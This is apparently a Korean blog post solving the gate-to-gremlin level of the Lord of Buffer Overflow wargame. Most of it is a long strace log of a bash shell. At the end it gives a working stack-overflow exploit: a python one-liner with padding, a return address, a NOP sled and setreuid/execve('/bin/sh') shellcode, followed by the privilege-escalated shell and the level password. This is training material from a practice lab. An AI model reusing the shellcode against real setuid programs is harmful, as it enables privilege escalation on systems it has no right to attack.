    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321775
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321775
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321775
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321775
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321776
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321776
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321776
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321776
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, "e", 1)              = 1
    [400c2b14] write(2, "e", 1e)             = 1
    [400c2ad4] read(0, "x", 1)              = 1
    [400c2b14] write(2, "x", 1x)             = 1
    [400c2ad4] read(0, "i", 1)              = 1
    [400c2b14] write(2, "i", 1i)             = 1
    [400c2ad4] read(0, "t", 1)              = 1
    [400c2b14] write(2, "t", 1t)             = 1
    [400c2ad4] read(0, "\r", 1)             = 1
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400c2b14] write(2, "exit\n", 5exit
    )        = 5
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400c16cd] stat("/home/gate/.bash_history", {st_mode=S_IFREG|0600, st_size=1248, ...}) = 0
    [400c2a24] open("/home/gate/.bash_history", O_WRONLY|O_APPEND) = 3
    [400c2b14] write(3, "ls\nexit\n", 8)    = 8
    [400c2a8d] close(3)                     = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [988]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400ae5d1] setpgid(0, 988)              = 0
    [400cbb41] munmap(0x40015000, 4096)     = 0
    [400add1d] _exit(1)                     = ?
    [gate@localhost gate]$ strace -i ./gremlin `python -c 'print "a"*260+"\x68\xf9\xff\xbf"+"\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
    upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process
    strace: exec: Operation not permitted
    [????????] execve("./gremlin", ["./gremlin", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah?퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1육1??햰?육F?1픐h//shh/bin??S??柰
                                                                                             ?"], [/* 23 vars */]) = 0
    [gate@localhost gate]$ ./gremlin `python -c 'print "a"*260+"\x68\xf9\xff\xbf"+"\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah?퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1육1??햰?육F?1픐h//shh/bin??S??柰
                                               ?
    bash$ ls
    ls: .: Permission denied
    bash$ id
    uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)
    bash$ ls
    ls: .: Permission denied
    bash$ ls
    ls: .: Permission denied
    bash$ ls
    ls: .: Permission denied
    bash$ my-pass
    euid = 501
    hello bof world
    bash$
    bash$

    '공부 > LOB' 카테고리의 다른 글

    [lob] wolfman -> darkelf  (0) 2014.07.30
    [lob] orc -> wolfman  (0) 2014.07.30
    [lob]goblin->orc  (0) 2014.07.30
    [lob]cobolt->goblin  (0) 2014.07.30
    [lob] greblin->cobolt  (0) 2014.07.30
    [lob] gate->gremlin  (0) 2014.07.30

    댓글 0

Designed by Tistory.